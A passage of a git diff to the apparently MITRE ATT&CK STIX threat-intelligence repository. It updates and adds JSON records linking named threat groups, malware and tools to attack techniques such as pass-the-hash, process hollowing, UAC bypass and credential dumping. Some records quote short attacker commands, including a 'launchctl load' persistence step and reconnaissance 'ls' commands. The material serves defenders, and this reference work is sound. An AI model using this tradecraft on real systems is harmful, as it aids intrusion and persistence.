+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The DustySky dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c.json b/enterprise-attack/relationship/relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c.json
index 1d06196eef..2442226db4 100644
--- a/enterprise-attack/relationship/relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c.json
+++ b/enterprise-attack/relationship/relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9b86faa2-67c5-490c-be45-eaac823ebbc0",
+    "id": "bundle--0ee584ef-420d-4bc6-9a79-42b152777f1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork scanned the \u201cProgram Files\u201d directories for a directory with the string \u201cTotal Security\u201d (the installation path of the \u201c360 Total Security\u201d antivirus tool).",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--6a5bd9f5-f8ff-4eab-a4bc-edb2e098c47d.json b/enterprise-attack/relationship/relationship--6a5bd9f5-f8ff-4eab-a4bc-edb2e098c47d.json
new file mode 100644
index 0000000000..02f6eb9b11
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6a5bd9f5-f8ff-4eab-a4bc-edb2e098c47d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6ac4a712-25cd-41f6-8423-6ee926d9c778",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6a5bd9f5-f8ff-4eab-a4bc-edb2e098c47d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29.json b/enterprise-attack/relationship/relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29.json
index d7e1a4bf41..1b35f9f6ff 100644
--- a/enterprise-attack/relationship/relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29.json
+++ b/enterprise-attack/relationship/relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--29990365-0c10-468b-af58-e9ef400e9550",
+    "id": "bundle--3005194e-7901-46eb-b34a-98a6d7a5990d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
diff --git a/enterprise-attack/relationship/relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532.json b/enterprise-attack/relationship/relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532.json
index e9390f914c..deed022474 100644
--- a/enterprise-attack/relationship/relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532.json
+++ b/enterprise-attack/relationship/relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a7dc2ed-6ac4-45fe-869b-b55f8f6e0523",
+    "id": "bundle--061ab82f-d183-4df5-bfb1-2ef40292b967",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.",
             "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
diff --git a/enterprise-attack/relationship/relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27.json b/enterprise-attack/relationship/relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27.json
index 2c29f132c0..93c8066eab 100644
--- a/enterprise-attack/relationship/relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27.json
+++ b/enterprise-attack/relationship/relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--83ed8baf-4f94-40a0-b791-491a97d31e4c",
+    "id": "bundle--aad05928-2085-46c3-97a0-a8bd8a9aec1a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware RomeoAlfa maintains persistence by saving itself in the Start menu folder.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9.json b/enterprise-attack/relationship/relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9.json
index 665cd9d6f0..4ff0f48dce 100644
--- a/enterprise-attack/relationship/relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9.json
+++ b/enterprise-attack/relationship/relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--66787208-6cf4-4b2a-a7a6-50517bbd817d",
+    "id": "bundle--8cfe8c22-2375-4f20-ab34-1788ee95313e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM samples have been signed with a code-signing certificates.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346.json b/enterprise-attack/relationship/relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346.json
index b910e8eb3d..e0f80096d8 100644
--- a/enterprise-attack/relationship/relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346.json
+++ b/enterprise-attack/relationship/relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af778f97-f5da-4f96-ab0a-27f4ad6f6a43",
+    "id": "bundle--0c37a81f-724e-4fdf-b1ce-ace498489267",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Winnti installer loads a DLL using rundll32.",
             "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
diff --git a/enterprise-attack/relationship/relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2.json b/enterprise-attack/relationship/relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2.json
index c6dbba7c91..639429976c 100644
--- a/enterprise-attack/relationship/relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2.json
+++ b/enterprise-attack/relationship/relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--77b5beb7-c57e-48e4-8268-b1142ed7ede3",
+    "id": "bundle--24b3d402-51f5-49bc-88c6-2ff72aa6179c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DLL side-loading has been used to execute BBSRAT through a legitimate Citrix executable ssonsvr.exe which is vulnerable to the technique. The Citrix executable was dropped along with BBSRAT by the dropper.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--6b1c1b38-0448-4114-99eb-23aae85ada52.json b/enterprise-attack/relationship/relationship--6b1c1b38-0448-4114-99eb-23aae85ada52.json
index f652ab2acc..ef8fc8ea99 100644
--- a/enterprise-attack/relationship/relationship--6b1c1b38-0448-4114-99eb-23aae85ada52.json
+++ b/enterprise-attack/relationship/relationship--6b1c1b38-0448-4114-99eb-23aae85ada52.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82fae12c-5ce7-47ff-b6b2-b3a1f6758538",
+    "id": "bundle--f529d281-5442-41c2-b30b-96fa2b628136",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6b1c1b38-0448-4114-99eb-23aae85ada52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has enumerated installed applications on macOS devices with built-in utilities such as <code>ls -al /Applications</code>.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9.json b/enterprise-attack/relationship/relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9.json
index 4890c4e69b..a425a4c7fa 100644
--- a/enterprise-attack/relationship/relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9.json
+++ b/enterprise-attack/relationship/relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--786dbe13-ba3f-44cf-ae53-1a3790f1da5b",
+    "id": "bundle--7d56da4f-d28f-4d53-ac50-577400aa49ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has commands to get the time the machine was built, the time, and the time zone.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f.json b/enterprise-attack/relationship/relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f.json
index 4a320d45a2..85f940ae6e 100644
--- a/enterprise-attack/relationship/relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f.json
+++ b/enterprise-attack/relationship/relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d86a2d32-5d72-4841-a72b-18b6fd05f233",
+    "id": "bundle--1d18f112-fdf1-4b60-9460-8106f5e7e4a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OnionDuke uses Twitter as a backup C2 method. It also has a module designed to post messages to the Russian VKontakte social media site.",
             "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
diff --git a/enterprise-attack/relationship/relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7.json b/enterprise-attack/relationship/relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7.json
new file mode 100644
index 0000000000..0317444278
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--9f10c539-0e86-44a4-b221-017002ae716d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has dumped credentials from victims. Specifically, the group has used the tool GET5 Penetrator to look for remote login and hard-coded credentials.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722.json b/enterprise-attack/relationship/relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722.json
index e1d0830cb1..d3027c103e 100644
--- a/enterprise-attack/relationship/relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722.json
+++ b/enterprise-attack/relationship/relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--252806da-4cac-42a1-adfb-8a78171cd361",
+    "id": "bundle--780cce52-7676-4ab1-a5ef-bb9ad03de783",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors installed a credential logger on Microsoft Exchange servers.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234.json b/enterprise-attack/relationship/relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234.json
new file mode 100644
index 0000000000..373446ee1b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0d0e3d72-c953-4657-be60-916022ea2a1f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>SEKURLSA::Pth</code> module can impersonate a user, with only a password hash, to execute arbitrary commands.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6bf4098c-7667-44df-bdaa-076b9099f851.json b/enterprise-attack/relationship/relationship--6bf4098c-7667-44df-bdaa-076b9099f851.json
index 32ae826373..e8f02d9696 100644
--- a/enterprise-attack/relationship/relationship--6bf4098c-7667-44df-bdaa-076b9099f851.json
+++ b/enterprise-attack/relationship/relationship--6bf4098c-7667-44df-bdaa-076b9099f851.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fb81b804-9d2c-491a-94da-34077a66e24b",
+    "id": "bundle--a145bc64-3ce1-4d58-9d4e-3304c4d8d74a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6bf4098c-7667-44df-bdaa-076b9099f851",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be configured to use HTTP or DNS for command and control.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--6c030461-42c5-44db-908a-85ac9a5a9822.json b/enterprise-attack/relationship/relationship--6c030461-42c5-44db-908a-85ac9a5a9822.json
index 2397a3061f..494fe80e6e 100644
--- a/enterprise-attack/relationship/relationship--6c030461-42c5-44db-908a-85ac9a5a9822.json
+++ b/enterprise-attack/relationship/relationship--6c030461-42c5-44db-908a-85ac9a5a9822.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8e237058-3c80-4e29-b203-c1092af1cd4e",
+    "id": "bundle--6833b865-9f95-4a88-9b96-5cdd49001336",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6c030461-42c5-44db-908a-85ac9a5a9822",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use a number of known techniques to bypass Windows UAC.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa.json b/enterprise-attack/relationship/relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa.json
new file mode 100644
index 0000000000..795554197d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f0e933af-4172-4f9d-9909-5941ab62e095",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used <code>net time</code> to check the local time on a target system.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d.json b/enterprise-attack/relationship/relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d.json
index a861ea9744..08c1eea404 100644
--- a/enterprise-attack/relationship/relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d.json
+++ b/enterprise-attack/relationship/relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--febb27c9-9215-4f3b-9cec-bc29c240db0e",
+    "id": "bundle--c238c7ce-f745-4ad4-b5f4-0f86b9611c02",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Newer variants of BACKSPACE will encode C2 communications with a custom system.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7.json b/enterprise-attack/relationship/relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7.json
new file mode 100644
index 0000000000..86f6d55adb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0cab2d54-6d96-4bb7-82f4-b8a3764587a9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can use process hollowing for execution.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846.json b/enterprise-attack/relationship/relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846.json
index 0dd633e121..1b739b0d87 100644
--- a/enterprise-attack/relationship/relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846.json
+++ b/enterprise-attack/relationship/relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ede34146-a3a2-4bfd-88e7-149f26bb948a",
+    "id": "bundle--18efe2e1-87db-470a-9cb1-3186b2e3b70c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz obtains the victim username and saves it to a file.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
diff --git a/enterprise-attack/relationship/relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96.json b/enterprise-attack/relationship/relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96.json
index 55d4e6bfd4..4c8672d404 100644
--- a/enterprise-attack/relationship/relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96.json
+++ b/enterprise-attack/relationship/relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--deb9292d-8cbd-4497-b42c-af9147eab95e",
+    "id": "bundle--bfbb50b3-e5c8-4b0f-8360-266643812336",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running <code>ls -la ~/Library/Application\\ Support/MobileSync/Backup/</code>.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--6c879d75-7f07-44ff-9801-815a549cdc44.json b/enterprise-attack/relationship/relationship--6c879d75-7f07-44ff-9801-815a549cdc44.json
index c3b4a0e10e..920ae1fa00 100644
--- a/enterprise-attack/relationship/relationship--6c879d75-7f07-44ff-9801-815a549cdc44.json
+++ b/enterprise-attack/relationship/relationship--6c879d75-7f07-44ff-9801-815a549cdc44.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0cd88368-285a-4a2c-9da5-34764ca4bad9",
+    "id": "bundle--d0205dc0-4653-413f-8678-716e70a0623f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6c879d75-7f07-44ff-9801-815a549cdc44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Komplex trojan creates a persistent launch agent called with <code>$HOME/Library/LaunchAgents/com.apple.updates.plist</code> with <code>launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist</code>.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
diff --git a/enterprise-attack/relationship/relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4.json b/enterprise-attack/relationship/relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4.json
index 6d4121a789..c89eb841c0 100644
